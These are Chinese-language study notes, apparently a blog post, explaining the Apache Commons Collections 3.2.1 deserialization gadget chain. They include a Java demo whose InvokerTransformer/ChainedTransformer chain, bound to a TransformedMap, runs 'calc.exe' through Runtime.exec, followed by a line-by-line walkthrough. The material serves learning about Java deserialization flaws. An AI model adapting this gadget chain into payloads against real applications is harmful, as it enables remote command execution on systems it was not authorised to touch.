以下的文字均来自抄袭~仅做为自我总结

前言

1、Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

2、Commons Collections 实际上算起来有7条,也就是ysoserial里原生自带的7条链,但是随着大佬们的对cc链反序列化的研究,从而诞生出8.9.10等各种利用方式。

前置知识

3、创建一个Maven项目 引入cc 3.2.1 的jar包

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5. <modelVersion>4.0.0</modelVersion>
  6. <groupId>cc</groupId>
  7. <artifactId>cc</artifactId>
  8. <version>1.0-SNAPSHOT</version>
  9. <dependencies>
  10. <dependency>
  11. <groupId>commons-collections</groupId>
  12. <artifactId>commons-collections</artifactId>
  13. <version>3.2.1</version>
  14. </dependency>
  15. </dependencies>
  16. </project>

创建一个java文件,本段代码来自nice0e3大佬

  1. import org.apache.commons.collections.*;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.util.HashMap;
  7. import java.util.Map;
  8. public class test {
  9. public static void main(String[] args) throws Exception {
  10. //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
  11. Transformer[] transformers = new Transformer[] {
  12. new ConstantTransformer(Runtime.class),
  13. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  14. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  15. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  16. };
  17. //将transformers数组存入ChaniedTransformer这个继承类
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. //创建Map并绑定transformerChina
  20. Map innerMap = new HashMap();
  21. innerMap.put("value", "value");
  22. //给予map数据转化链
  23. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  24. //触发漏洞
  25. Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
  26. //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
  27. onlyElement.setValue("foobar");
  28. }
  29. }

简单分析

接下来我们来debug每一段代码都跟进一下意思
首先到14行,跟进到Transformer构造了一个名为transformers的数组
Commons Collections的前置知识分析 - 图1
TransformerCommons Collections中提供的一个接口
Commons Collections的前置知识分析 - 图2
ConstantTransformerTransformers的另外的实现类,此类的该构造方法对iconstant进行传参
Commons Collections的前置知识分析 - 图3
然后调用InvokerTransformer()方法,传入三个参数
Commons Collections的前置知识分析 - 图4
InvokerTransformer类里的transform()方法,这里利用反射来直接调用类执行方法
Commons Collections的前置知识分析 - 图5
传入参数结束后,如下图所示
Commons Collections的前置知识分析 - 图6

2、到达第22行时,数组已经构建完毕
将transformers这个数组存入ChainedTransormer中,并取名为transformerChain
Commons Collections的前置知识分析 - 图7
Commons Collections的前置知识分析 - 图8

3、到达26行时,再创建一个map集合,并在这个集合里放入为value:value的键值对
Commons Collections的前置知识分析 - 图9

4、之后到了28行
这里我直接copy大佬的话然后再来简单的翻译下

  1. Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecoratorApache Commons Collections提供的一个类,实现类有很多,比如LazyMapTransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

简单的来说就是这里有AbstractMapDecoratorApache Commons Collections提供的一个类,而TransformedMap是它的一个实现类,这个TransformedMap实现类有个decorate()方法用于将上述所说的Transformer实现类绑定包Map集合上(如ChainedTransformer),而我们之后对这个Map集合进行操作的时候,就会自动触发Transformer实现类(如ChainedTransformer)的一个方法叫做tranform()
Commons Collections的前置知识分析 - 图10 tranform()方法
看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

第30行代码的意思为使用一个迭代器然后获取第一个键值对的值,然后将使用Setvalue设置为foobar触发transform()方法,之后就会执行命令Commons Collections的前置知识分析 - 图11

总结:
1、ConstantTransformer、InvokerTransformer、ChainedTransformer都是Transformer的实现类
2、整个demo的利用链为:
1)构造了一个transformers[]数组,进行了4次加载,第一次使用ConstantTransformer加载Runtime.class,后面三次InvokerTransformer传入了恶意的值成为方法
2)将transformers[]存入ChaniedTransformer这个继承类 ,并且使用TransformedMap.decorate()方法将两者进行绑定,输出一个值为outerMap
3)再将这个outerMap的第一个值提取出,并改变其内容(setValue方法),此时会自动触发Transformer实现类(如ChainedTransformer)的方法叫做tranform()
4)在最后执行漏洞的时候,就会先进入与map绑定的ChainedTransformer,然后再进入触发ConstantTransformer里的tranform()方法,最后再执行InvokerTransformer里的tranform()方法,两者结合就触发了漏洞,执行了命令